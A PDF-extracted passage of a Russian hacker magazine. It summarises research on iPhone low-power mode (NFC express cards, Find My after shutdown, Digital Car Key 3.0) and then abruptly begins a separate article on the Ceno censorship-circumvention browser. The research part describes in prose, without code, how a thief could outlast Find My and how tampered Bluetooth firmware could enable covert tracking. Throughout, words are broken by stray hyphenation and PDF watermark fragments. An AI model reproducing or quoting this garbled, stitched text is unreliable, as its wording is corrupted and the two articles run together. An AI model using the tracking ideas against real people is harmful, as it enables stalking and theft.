к NFC LPM воз ­

можность под названи­

ем­ Express Card, появившаяся­

в iOS 12. В своей­ работе

герман­

ские­

исследова­

тели­

 

использовали­

инстру­ мен­ ты­ для анализа­

и изме ­

нения прошив­ ки­

в

современ­

ных­

 

айфонах­ , доступные­

 

для

скачива­

ния­

в репозитори­

ях­ InternalBlue и Frankenstein. С помощью этих программ­

они

 

 

 

 

 

 

 

 

 

выяснили­

, что в энергосбе­

рега­

ющем­

режиме айфоны­ не столь безопасны­ ,

как это кажется­ со стороны­

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

iOS

реализует­

безопасные­

беспро­ вод­ ные­

платежи­

на NFC-чипе с при ­

менением­

технологии­

Secure Element (SE). Эта технология­

работает­ на плат ­

форме JavaCard, которая выполняет­

апплеты­ , например­

Apple Pay или DCK.

В ходе начальной­

установ­ ки­ апплеты­ персонали­

зиру­

ются­

.

Персонали­

зация­

позволя­

ет­ дополнитель­

но­ разгра­ ничи­

вать­

зоны безопасности­

. Например­

,

в платеж­ ном­

апплете­ не хранит­ ся­ никакой информации­

о кредит­ ных­

картах­ ,

кроме­

отзывного­

идентифика­

тора­

, известно­ го­ платеж­ ной­

 

сети. Апплеты­

,

в том числе­ их секреты­

, отделены­

друг от друга­ . Они хранят­ ся­ в SE и не

покидают­ ее. В процес­ се­ платежа­

или при беспро­ вод­ ных­

транзакци­

ях­ среда­

SE в составе­

 

чипа NFC откликает­

ся­

напрямую­

, не переадре­

суя­ эти данные­

в iOS. Следова­

тель­

но­ , даже если iOS или приложе­

ния­

скомпро­ мети­

рова­

ны­ ,

кредит­ ные­

карты­ и другие­ ключи­ невозможно­

украсть из SE.

 

 

 

 

 

 

 

 

 

 

 

Исполь­ зование­ безопасной­ среды­ (SE) и процес­ сора­ Secure Enclave Processor (SEP) в соответс­ твии­ с документаци­ ей­ Apple

Среда­ SE подклю­ ­чена к процес­ ­сору Secure Enclave Processor (SEP). Процес­ ­

сор SEP авторизу­ ­ет платежи­ , обеспечивая­ аутентифика­ ­цию пользовате­ ­ля через Touch ID, Face ID или c помощью пин кода. Обрати­ внимание­ : SEP не хранит­ данные­ в SE, а использует­ отдельный­ безопасный­ компонент­ хра ­ нилище­ . SE и SEP объеди­ ­няют­ся в пару, следова­ ­тель­но, коммуника­ ­ция между­ ними может шифровать­ ­ся и аутентифици­ ­ровать­ся.

ЭКСПРЕСС-КАРТЫ И FIND MY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Приложе­

ние­

 

 

Wallet («Кошелек») позволя­

ет­ конфигури­

ровать­

 

работающие­

по NFC кредит­ ные­ , дискон­ тные­

 

 

карты­ и проездные­

билеты, а также­ ключи­

для режима Express Mode. Экспресс­

карта­ больше­ не требует­

 

 

авториза­

ции­

по SEP, обеспечивая­

таким образом­

быстрые­

и удобные­

 

платежи­

без разбло­ ­

кировки­ iPhone. В экспресс­

режиме, чтобы­ пройти­ авториза­

цию­ , достаточ­

но­

лишь владеть­

 

 

самим телефоном­ . Если авториза­

цию­

 

 

пропус­ тить­ , ни SEP,

ни iOS не потребу­

ются­

 

 

для завершения­

транзакции­

по NFC, а сама ком ­

муникация­ сможет­ работать автоном­ но­ , при помощи апплетов­ SE.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Как только­ у iPhone закончится­

 

заряд, при условии­ , что у пользовате­

ля­

есть экспресс­

карта­ , iPhone выключит­

ся­ , но чип NFC останет­ ся­ запитан

на протяже­

нии­

пяти часов. В этот период­ экспресс­

карты­ будут работать,

но при

выключении­

устройства­

по инициати­

ве­ пользовате­

ля­ NFС также­

отключает­

ся­ .

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

В iOS 15 появились­

 

две новые возможнос­

ти­ , доступные­

в режиме низкого­

энергопот­

ребле­

ния­ : Find My Phone, собствен­

ная­

сеть Apple на основе­

Bluetooth с низким­

 

энергопот­

ребле­

нием­

 

(BLE), работающая­

 

офлайн и пред ­

назначен­ ная­ для поиска­ потерянных­ устройств­ , и поддер­ жка­ цифрового­

авто ­

мобильного­

 

ключа­ (Digital Car Key, DCK 3.0), при которой UWB применя­

ется­

для безопасного­

измерения­

рассто­ яния­

. Следова­

тель­

но­ , и Bluetooth, и чип

UWB могут работать автоном­ но­ , пока iOS отключена­

. Эти возможнос­

ти­

не документирова­

ны­ и ранее не исследова­

лись­

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Find My — это офлайновая­

 

сеть для нахождения­

устройств­ , которую авто ­

ры доклада­

 

детально­ исследова­

ли­ , включая­

реверс соответс­

тву­ юще­

го­ ПО.

Она находит iPhone, AirTag и другие­ устройства­

 

Apple, даже когда­ они не под ­

ключены­

 

к интернету­ . Если девайс не в сети, в режиме пропажи­

он регулярно­

шлет широковеща­

тель­

ные­

 

BLE-оповеще­

ния­ . Подклю­ чен­ ные­

к сети устрой ­

ства, расположен­

ные­

 

поблизос­

ти­ , ловят такие оповеще­

ния­

 

 

и

сообщают­

законному­

владель­

цу­ , где находится­ его «потеряшка­ ».

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Протокол­

Find My защищен сквозным­

шифровани­

ем­ , анонимен­

и работает­

с сохранени­

ем­ конфиден­

циаль­

нос­ ти­ . Эти гарантии­ безопасности­

основаны­

на девайс специфич­

ном­

 

«маячковом­

» мастер­ ключе­ , который синхро­ низи­

­

руется­ с цепочкой­ ключей­ из пользователь­

ско­ го­ iCloud. Поэтому­ доступ­ сох ­

раняется­

до тех пор, пока пользователь­

в состоянии­

залогинить­

ся­ в iCloud.

 

 

 

 

 

 

 

Цепоч­ ка­ ключей­ также­ хранит­ ся­ локально­ , а для доступа­

 

к ее секретно­

му­

ключу­ требует­

ся­ пройти­ полный­

путь через SEP. На мастер­ ключе­ маячка­

генерирует­

ся­

 

 

оборачи­

вающаяся­

 

последова­

тель­

ность­

 

пар,

 

 

 

 

в

 

 

каждую­

из которых входит­ открытый­ и закрытый­

ключ. Эта последова­

тель­

ность­

зафик ­

сирована­ навечно­ , и каждый­

 

 

ключ действи­

телен­

только­ в свой промежу­

ток­

времени­

. Чтобы­ связать­

 

открытые­

 

ключи­ в этой последова­

тель­

нос­ ти­ друг

с другом­ , требует­

ся­ знать маячковый­

мастер­ ключ. Устройство­

широковеща­

­

тельно­ сообщает­

актуаль­ ный­

публичный­

 

ключ в виде BLE-объявле­

ния­ , а часть

этого­ ключа­ также­ устанав­ лива­

ет­ MAC-адрес случай­ ным­

 

 

образом­ . Любое

устройство­

, подклю­ чен­ ное­ к интернету­ и наблюда­

ющее­

BLE-объявле­

ние­ сети

Find My, может зашифровать­

 

свое нынешнее­

пример­

ное­

местонахож­

дение­

открытым­

 

ключом­

 

 

 

и

сообщить­

 

 

его Apple. Только­ у законного­

 

 

владель­

ца­

потерянного­

 

устройства­

, которое пока находится­ офлайн, имеется­

 

под ­

ходящий

 

закрытый­

ключ, чтобы­ расшифро­

вать­

 

отчет о местополо­

жении­

.

По отчету­ о местополо­

жении­

 

невозможно­

 

идентифици­

ровать­

 

сообщивше­

го­ .

Цепочка­ открытых­ ключей­ на iPhone полностью­

проматы­

вает­

ся­ за 15 мин, что

ограничи­

вает­

возможность­

отследить­

 

смартфон­

по его BLE-объявле­

ниям­

.

Метки­ AirTag функци­ ональ­

но­ подобны­ сети Find My. Потеряв соединение­

по Bluetooth с iPhone владель­

ца­ , они начинают­ рассылать­

широковеща­

тель­

­

ные сообщения­

, которые принима­

ются­

 

другими­

 

подклю­ чен­ ными­

 

к

сети

устройства­

ми­ .

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Работа­

 

 

 

 

сети

 

 

 

Find

 

 

My

 

поддержи­

вает­

ся­

 

после­

 

 

отключения­

питания,

и информация­

 

об этом выводится­ в диалоговом­

окне завершения­

 

работы.

Пользователь­

 

может изменить­

эту настрой­

ку­ всякий­

раз, когда­ выключа­

ет­

устройство­

 

 

вручную­ . Если на iPhone полностью­

израсходует­

ся­ батарея и он

перейдет­ на резервный­

 

 

источник питания, сеть Find My активиру­

ется­

 

авто ­

матичес­ ки­ , подобно­ экспресс­

картам­

на NFC-чипе. Для поддер­ жки­

режима

LPM требует­

ся­ прошив­ ка­ Bluetooth, которая может рассылать­

 

BLE-сооб ­

щения, когда­ iOS отключит­ ся­ .

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Диало­ говое­ окно завершения­ для сети Find My на iOS 15

Чипы­ Broadcom Bluetooth могут конфигури­ ­ровать­ся либо для взаимо­ ­дей­ствия с хостом­ , например­ iOS, либо для работы в качестве­ автоном­ ­ных приложе­ ­ ний, например­ на IoT-устройствах­ . При переходе­ в режим LPM работа стека­ iOS Bluetooth завершает­ ­ся и настрой­ ­ки чипа Bluetooth сбрасыва­ ­ются. Затем множес­ ­тво команд интерфейса­ хост контрол­ ­лера конфигури­ ­руют параметры­ сети Find My. Последняя­ команда­ отключает­ HCI, тем самым останав­ ­ливая всякую­ коммуника­ ­цию с iOS. Прошив­ ­ка запускает­ автоном­ ­ный поток широко ­ вещатель­ ­ных сообщений­ Find My. Модулю управления­ питанием­ (PMU) рекомендует­ ­ся держать­ чип Bluetooth включен­ ­ным, несмотря­ на отключение­

iOS.

Коман­ ­ды конфигура­ ­ции HCI для сети Find My позволя­ ­ют задавать множес­ ­ твенные­ открытые­ ключи­ в расчете­ на краткий­ и долгий­ интервал ротации. Длитель­ ­ность интервала­ и общее количество­ ключей­ — переменные­ параметры­ . В iOS 15.3 устанав­ ­лива­ется 96 ключей­ на короткий­ интервал (15 мин) и 0 ключей­ на долгий­ интервал (24 ч). Следова­ ­тель­но, автоном­ ­ное приложе­ ­ние, работающее­ по Bluetooth, может отправлять­ широковеща­ ­тель ­ ные сообщения­ Find My в течение не более 24 ч.

«АВТОМОБИЛЬНЫЕ» КЛЮЧИ DCK 3.0

Наряду­ с NFC-картами­ iOS также­ поддержи­ ­вает «автомобиль­ ­ные» ключи­ (Digital Car Key, DCK 3.0). Их используют­ службы­ каршерин­ ­га, а также­ при ­ ложения­ , позволя­ ­ющие управлять с телефона­ современ­ ­ными «цифровыми­ » автомоби­ ­лями — дистанци­ ­онно запускать­ двигатель­ , включать­ режим охраны­ , открывать­ со смартфо­ ­на двери­ и багажник­ , задейство­ ­вать иммобилай­ ­зер. Еще DCK позволя­ ­ет устанав­ ­ливать скорос­ ­тной лимит для молодых водителей­ , а также­ совмес­ ­тно использовать­ такой ключ через iCloud.

Несмотря­ на удобство­ DCK с точки­ зрения­ пользовате­ ля­ , эта технология­ привносит­ новые векторы­ атак. Со стороны­ реализации­ основные риски­ несут автопроизво­ дите­ ли­ . Скомпро­ мети­ рован­ ный­ DCK или изъяны­ в его реализации­ могут быть использованы­ для угона­ машины, но не для кражи­ iPhone. Угон реальной­ машины — это не цифровой­ платеж­ , его не отменишь­ . Такие риски­ и побудили­ автопроизво­ дите­ лей­ перейти­ с DCK 2.0 (основан­ ных­ на NFC) на DCK 3.0.

Аббре­ ­виату­ра NFC (коммуника­ ­ция ближнего­ поля) подска­ ­зыва­ет, что успешные транзакции­ могут проходить­ только­ между­ двумя­ устройства­ ­ми, находящими­ ­ся рядом, NFC и другие­ сравнитель­ ­но старые­ технологии­

для автомобиль­ ных­ ключей­ подверже­ ны­ эстафет­ ным­ атакам­ . При эстафет­ ных­ атаках­ сигналы­ предают­ ся­ на большие­ рассто­ яния­ , чем задумано­ . Это серь ­ езная угроза­ , посколь­ ку­ эстафет­ ная­ атака­ открывает­ доступ­ к машине, когда­ ее владель­ ца­ поблизос­ ти­ нет. Короткие­ дистанции­ можно­ преодо­ леть­ , уси ­ ливая имеющий­ ся­ сигнал­ . На длинных­ дистанци­ ях­ сигнал­ требует­ ся­ декоди ­ ровать в пакеты и уже их переадре­ совы­ вать­ с устройства­ на устройство­ . Пер ­ вый практичный­ и недорогой­ инстру­ мент­ для эстафет­ ных­ атак на основе­ NFC был описан­ в 2011 году, и до сих пор поддержи­ вают­ ся­ аналогич­ ные­ инстру­ ­ менты­ , рассчи­ тан­ ные­ на новейшие­ NFC-технологии­ .

Тогда­ как специфи­ ­кация DCK 2.0 основана­ на NFC, в DCK 3.0 добавлен­ контроль­ безопасного­ рассто­ ­яния (secure ranging) на основе­ UWB. Хотя UWB и рекламиро­ ­валась как технология­ , поддержи­ ­вающая контроль­ безопасного­ рассто­ ­яния, ее фундамен­ ­таль­ные измеритель­ ­ные параметры­ неидеальны­ . На практике­ уже продемонс­ ­три­рова­ны дешевые атаки­ по сокращению­ рас ­ стояния­ , направлен­ ­ные на UWB-чип Apple (на дистанции­ до 12 м).

Протокол­ DCK 3.0 использует­ как BLE, так и UWB. BLE обеспечива­ ет­ пер ­ вичное соединение­ и аутентифика­ цию­ . Затем UWB применя­ ется­ для точеч ­ ного измерения­ рассто­ яния­ (fne ranging) с защитой симметрич­ ным­ ключом­ , но без передачи­ данных­ . Следова­ тель­ но­ , как BLE, так и UWB требуют­ доступа­

к секретно­ ­му ключу­ . Специфи­ ­кация DCK 3.0, пошагово­ описыва­ ­ющая работу протоко­ ­лов BLE и UWB, доступна­ исключитель­ ­но членам­ Car Connectivity Consortium.

Apple стала­ использовать­ аппарат­ ные­ компонен­ ты­ для DCK 3.0 с версии­ iPhone 11. На айфонах­ с поддер­ жкой­ DCK 3.0 безопасная­ среда­ (SE) жестко­ вшита­ в чипы Bluetooth и UWB. Следова­ тель­ но­ , аналогич­ но­ использующим­ SE NFC-транзакци­ ям­ , генерируемые­ SE отклики­ передаются­ непосредс­ твен­ но­

в эфир, без совмес­ ­тно­го использования­ в iOS. Модели айфонов­ , оборудо­ ­ ванные­ чипами Bluetooth и UWB с поддер­ ­жкой низкого­ энергопот­ ­ребле­ния (LPM), перечислены­ в следующей­ таблице­ .

Беспро­ вод­ ные­ чипы, активно использующие­ поддер­ жку­ LPM

НЕДОСТАТКИ FIND MY PHONE

На уровне­ приложе­ ­ния исследова­ ­тели исходили­ из того, что злоумыш­ ­ленник не манипулиро­ вал­ прошив­ кой­ или ПО на iPhone. Напротив­ , атакующие­ пыта ­ ются скомпро­ мети­ ровать­ или использовать­ возможнос­ ти­ LPM — например­ , отключить­ сеть Find My Phone для кражи­ iPhone или восполь­ зовать­ ся­ экс ­ пресс картами­ для кражи­ денег.

На примере­ сети Find My Phone было обнаруже­ ­но, что телефон прекраща­ ­ ет посылать широковеща­ ­тель­ные сообщения­ гораздо­ раньше­ , чем ожи ­ далось, а во многих­ случаях­ не рассыла­ ­ет их вообще­ . При завершении­ работы по инициати­ ­ве пользовате­ ­ля система­ создает­ всего­ 96 таких сооб ­ щений, которые рассыла­ ­ются с интервалом­ в 15 мин. Через 24 ч будут переданы­ все сообщения­ . Это не разъясня­ ­ется пользовате­ ­лю, который может подумать, будто­ его потерянный­ iPhone можно­ найти­ в течение многих­ дней. Кроме­ того, сеть Find My Phone можно­ выключить­ при отключении­ питания устройства­ , но для этого­ в iOS 15.3 и выше придет­ ­ся ввести­ пароль — таким образом­ Apple предус­ ­мотре­ла еще один инстру­ ­мент против­ кражи­ .

Запаро­ лен­ ное­ диалоговое­ окно, в котором можно­ отключить­ сеть Find My при отключении­ питания

Сеть Find My прекраща­ ­ет работу до первой­ разбло­ ­киров­ки айфона­ спус ­ тя 24 ч. При выключении­ телефона­ сообщения­ , рассчи­ ­тан­ные на сле ­ дующие 24 ч, дополнитель­ ­но хранят­ ­ся на устройстве­ . Даже если сеть Find My будет отключена­ принуди­ ­тель­но, сообщения­ все равно­ кешируются­ . Как толь ­ ко iPhone загрузит­ ­ся, он восста­ ­новит токен Find My из хранили­ ­ща с энер гонезависи­ ­мой памятью (NVRAM), и этот токен сохраня­ ­ется от перезагрузки­

к перезагрузке­ . Затем токен Find My использует­ ­ся для дешифровки­ кеширо ­ ванных­ сообщений­ , предос­ ­тавляя доступ­ к ним демону Bluetooth перед пер вой разбло­ ­киров­кой. По истечении­ 24 ч iPhone прекраща­ ­ет рассылать­ сооб ­ щения. Это не зависит от предпри­ ­нятых ранее действий­ , iPhone мог уже находиться­ в режиме LPM или быть перезагружен­ напрямую­ . Посколь­ ­ку сооб ­ щения жестко­ привяза­ ­ны к запланиро­ ­ван­ному периоду­ передачи­ , продлить­ этот период­ невозможно­ .

Если­ перед первой­ разбло­ киров­ кой­ у iPhone есть соединение­ с интерне ­ том, то он подклю­ чит­ ся­ к серверам­ Apple и сообщит­ свое местополо­ жение­ . iPhone может оказать­ ся­ офлайн перед первой­ разбло­ киров­ кой­ по многим­ причинам­ . Ключи­ Wi-Fi доступны­ только­ после­ первой­ разбло­ киров­ ки­ , а сотовое соединение­ обрывает­ ся­ , если пользователь­ защитил SIM-карту­ пин кодом либо SIM-карта­ была извлечена­ . Следова­ тель­ но­ , вор может быть уверен­ , что через 24 ч функция­ Find My Phone будет неактивна­ , даже если он подклю­ чит­ iPhone к зарядному­ устройству­ , — достаточ­ но­ извлечь SIM-карту­ и включить­ телефон вне зоны действия­ открытых­ беспро­ вод­ ных­ сетей.

Даже­ когда­ в пользователь­ ­ском интерфейсе­ отобража­ ­ется сообщение­ , что функция­ Find My Phone активиро­ ­вана после­ отключения­ питания, иногда­ это не соответс­ ­тву­ет действи­ ­тель­нос­ти. Например­ , в Find My Phone может отказать­ генерация­ сообщений­ . Если при отключении­ устройства­ настрой­ ­ка Find My по какой то причине­ завершится­ ошибкой­ , никаких предуп­ ­режде­ний об этом пользователь­ не получит.

Иссле­ дова­ тели­ заметили­ и еще один забавный­ момент. Если при отклю ­ чении питания iPhone по инициати­ ве­ пользовате­ ля­ подклю­ чить­ устройство­

к электро­ ­сети через зарядку­ , а потом зарядку­ убрать, то через пару часов iPhone загрузит­ ­ся сам. Если при отключении­ кабель в iPhone не вставлен­ , то автомати­ ­чес­кой загрузки­ устройства­ не произой­ ­дет. По этой причине­ поль ­ зователь через какое то время­ может обнаружить­ , что батарея его iPhone полностью­ опустошена­ , хотя он телефон не включал­ .

ВМЕШАТЕЛЬСТВО В ПРОШИВКУ

В современ­ ­ных моделях iPhone поддер­ ­жка LPM присутс­ ­тву­ет в чипах ком ­ муникации­ NFC, UWB и Bluetooth. Злоумыш­ ­ленни­ку не требует­ ­ся менять поведение­ ядра, он может восполь­ ­зовать­ся имеющи­ ­мися драйверами­ , чтобы­ включить­ LPM на этих чипах, при этом модифициро­ ­вать приходит­ ­ся только­ прошив­ ­ку чипа. Чип NFC — единствен­ ­ный беспро­ ­вод­ной чип на iPhone, обла ­ дающий зашифрован­ ­ной и подписан­ ­ной прошив­ ­кой. Пусть даже и предпри­ ­ нимались­ попытки­ обойти­ безопасный­ загрузчик­ , они были безуспешны­ . Чип UWB также­ предус­ ­матри­вает защищенную­ загрузку­ , но его прошив­ ­ка не зашифрована­ , только­ подписана­ . При этом прошив­ ­ка Bluetooth не зашиф ­ рована и не подписана­ . Посколь­ ­ку у чипа Bluetooth не предус­ ­мотре­на безопасная­ загрузка­ , в нем отсутству­ ­ет корневой­ доверенный­ сертификат­ , который позволил­ бы проверить­ загружа­ ­емую прошив­ ­ку.

Злоумыш­ ленни­ ки­ , не обладающие­ доступом­ к устройству­ на уровне­ сис ­ темы, могут попытаться­ перехватить­ управление­ девайсом­ через чип с под ­ держкой­ LPM. Ранее были выявлены­ различные­ уязвимос­ ти­ для серии Bluetooth-чипов, используемых­ в iPhone. Такие уязвимос­ ти­ также­ существу­ ют­

и в других­ беспро­ ­вод­ных чипах. В частнос­ ­ти, модуль Find My Phone рассыла­ ­ет сообщения­ по Bluetooth, но не получает­ данные­ . Однако­ экспресс­ режим для NFC, а также­ Bluetooth и UWB для DCK 3.0 допускают­ обмен данными­ .

Даже­ если бы вся прошив­ ка­ могла­ быть защищена­ от манипуляций­ , зло ­ умышленник­ , обладающий­ доступом­ к устройству­ на уровне­ системы­ , все равно­ мог бы отправлять­ на его чипы собствен­ ные­ команды­ . Демон Bluetooth конфигури­ рует­ режим LPM для сети Find My Phone при выключении­ устрой ­ ства, для этого­ используют­ ся­ вендор­ специфич­ ные­ команды­ HCI. Эти коман ­ ды выполняют­ конфигури­ рова­ ние­ с очень высокой детализаци­ ей­ , в том числе­ позволя­ ют­ настра­ ивать­ интервалы­ ротации широковеща­ тель­ ных­ сообщений­ и их содержимое­ . При помощи этих команд злоумыш­ ленник­ мог бы, к при ­ меру, установить­ публичный­ ключ в качестве­ содержимого­ каждого­ второго­ сообщения­ так, чтобы­ этот ключ подходил­ к аккаунту­ . После­ этого­ атакующий­

смог бы найти­ устройство­ жертвы­ , а настоящий­ пользователь­ видел бы в сети Find My Phone недавнее­ местополо­ ­жение своего­ iPhone, которого­ там уже нет.

ЗАКЛЮЧЕНИЕ

Посколь­ ку­ поддер­ жка­ LPM основана­ на аппарат­ ной­ составля­ ющей­ iPhone, ее невозможно­ удалить­ при помощи системных­ обновлений­ . Соответс­ твен­ но­ , она оказыва­ ет­ долгосроч­ ное­ влияние­ на всю модель безопасности­ в iOS.

По видимому­ , дизайн возможнос­ ­тей LPM в основном строился­ исходя­ из практичес­ ­ких соображений­ , без учета­ угроз, возника­ ­ющих при выходе за пределы­ предус­ ­мотрен­ных вариантов­ примене­ ­ния. Посколь­ ­ку сеть Find My Phone продол­ ­жает работать и после­ выключения­ iPhone, устройства­ по опре ­ делению­ превраща­ ­ются в инстру­ ­мент для слежки­ , а реализация­ прошив­ ­ки Bluetooth не защищена­ от манипуляций­ . Свойства­ слежения­ могут быть незаметно­ изменены­ злоумыш­ ­ленни­ком, заполучив­ ­шим доступ­ к устройству­ на уровне­ системы­ . Более того, современ­ ­ная поддер­ ­жка цифровых­ авто ­ мобильных­ ключей­ требует­ сверхши­ ­рокой полосы передачи­ данных­ в LPM.

В настоящее­ время­ Bluetooth и UWB жестко­ зашиты в безопасную­ среду­ (SE), именно­ в них хранят­ ся­ автомобиль­ ные­ ключи­ и другие­ секреты­ . Учи ­ тывая, что прошив­ ка­ Bluetooth поддает­ ся­ манипуляции­ , доступ­ к интерфейсам­ SE открывает­ ся­ и из iOS.

Даже­ притом­ , что во многих­ вариантах­ примене­ ­ния LPM повышается­ уро ­ вень защищенности­ и безопасности­ , Apple следова­ ­ло бы добавить в iPhone аппарат­ ­ный переключатель­ , который разъеди­ ­нял бы устройство­ и батарею. Это улучшило­ бы ситуацию­ для лиц, особен­ ­но обеспоко­ ­енных конфиден­ ­ циальностью­ данных­ и потенциаль­ ­но подвержен­ ­ных слежке­ , например­ для журналис­ ­тов.

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ПРИВАТНОСТЬ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

.c

 

 

.

 

 

c

 

 

 

 

 

p

df

 

 

 

e

 

 

 

 

 

g

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

-x ha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

c

 

 

 

.c

 

 

 

p

df

 

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-x ha

 

 

 

 

 

КАК УСТРОЕН МОБИЛЬНЫЙ БРАУЗЕР ДЛЯ ОБХОДА ЦЕНЗУРЫ

Вопрос­ свобод­ ­ного доступа­ к блокиру­ ­емо ­ му или подверга­ ­емо­му цензуре­ контенту­ остро стоит­ во многих­ странах­ . «Хакер» уже писал о том, как за свободу­ слова­ борется­ Tor Project. Сегодня­ мы поговорим­ об очень интерес­ ­ной альтер­ ­нативе для обхода­ цен ­ зуры и блокиро­ ­вок — мобильном­ браузе­ ­ре

Ceno.

Валентин Холмогоров

Ведущий редактор "Хакера". valentin@holmogorov.ru

Еще со времен­ «гипертек­ ­сто­вого векторно­ ­го Фидонета­ » человечес­ ­тво меч ­ тало о децентра­ ­лизо­ван­ной сети, предназна­ ­чен­ной для свобод­ ­ного обще ­ ния. Хотя вру, конечно­ . Оно мечтало­ об этом всегда­ . Результатом­ подобных­ мечтаний­ стало­ , в частнос­ ­ти, появление­ технологий­ Tor и I2P. Но пытливый­ человечес­ ­кий разум не стоит­ на месте­ и со временем­ изобрета­ ­ет новые идеи: например­ , браузе­ ­ры, работающие­ через соединения­ peer-to-peer и потому не подвержен­ ­ные цензуре­ — по крайней­ мере, согласно­ задумке­ их разработ­ ­чиков. Одно из таких приложе­ ­ний для Android именно­ так и называ ­

ется — Censorship No, или, сокращен­ ­но, Ceno.

КАК УСТРОЕН СENO

Лежащий­ в основе­ Ceno принцип­ довольно­ прост. Устройства­ с установ­ ­ ленным на них браузе­ ­ром образуют­ P2P-сеть, которая теоретичес­ ­ки позволя­ ­ ет трансли­ ­ровать трафик­ за пределы­ цензуриру­ ­емой зоны и обходить­ таким образом­ блокиров­ ­ки и запреты­ . То есть каждое­ приложе­ ­ние может еще и выступать­ в роли бриджа­ для передачи­ данных­ другим­ устройствам­ с Ceno. Как только­ один пользователь­ получает­ доступ­ к подцензур­ ­ному или заб ­ локирован­ ­ному контенту­ , этот контент­ кешируется­ и становит­ ­ся доступен­ дру ­ гим узлам сети Ceno. Именно­ так это выглядит­ в теории.

В основе­ Ceno лежит Firefox для Android с библиоте­ кой­ Ouinet, которая обеспечива­ ет­ маршру­ тиза­ цию­ peer-to-peer и кеширование­ при просмотре­ веб страниц­ . Когда­ использующий­ Ouinet клиент­ отправляет­ запрос­

на получение­ какой либо веб страницы­ , этот запрос­ трансли­ ­рует­ся в одно ­ ранговую­ сеть и страница­ ищется­ в распре­ ­делен­ном кеше сети, вернее­ в его индексе. Если искомый­ контент­ там не обнаружи­ ­вает­ся, запрос­ перенап ­ равляется­ доверенному­ узлу инжектору­ , который трансли­ ­рует его на спе ­ циальный­ сервер­ . Тот получает­ страницу­ из интернета­ и сохраня­ ­ет ее в кеше. При следующем­ запросе­ этот документ будет загружен­ уже из Р2Р сети. Все это работает­ пример­ ­но как обычный­ торрент­ с одним отличием­ : юзер может получать контент­ без необходимос­ ­ти вылезать во внешний­ интернет.

Принцип­ работы P2P-сети с технологи­ ей­ Ouinet (иллюстра­ ция­ с сайта­ разработ­ чика­ )

Разработ­ чики­ утвержда­ ют­ , что этот подход­ позволит­ избавить­ ся­ от медленно­ ­ го Tor и VPN, который в любой момент могут заблокиро­ вать­ , а заодно­ — сэкономить­ средства­ на трафике­ , особен­ но­ в роуминге­ , где он наиболее­ дорогой. Ну и конечно­ же, речь идет об организа­ ции­ доступа­ к контенту­ в сетях с ненадежным­ исходящим­ каналом (но мы то понимаем­ , что именно­ они имеют­ в виду).

Любопыт­ ный­ нюанс: сами разработ­ чики­ библиоте­ ки­ и браузе­ ра­ предуп­ ­ реждают­ , что она не может служить­ в качестве­ полноцен­ ного­ инстру­ мен­ та­ для обеспечения­ аноним­ ности­ . Во первых­ , Ouinet передает­ другим­ участни­ ­ кам одноран­ говой­ сети информацию­ о запросах­ пользовате­ ля­ , просматри­ ­ ваемых им веб страницах­ и трансли­ руемом­ на другие­ узлы сети контенте­ . Во вторых­ , само устройство­ с Ouinet становит­ ся­ фактичес­ ки­ прозрачным­ прокси­ . Не очень безопасно­ , верно­ ?

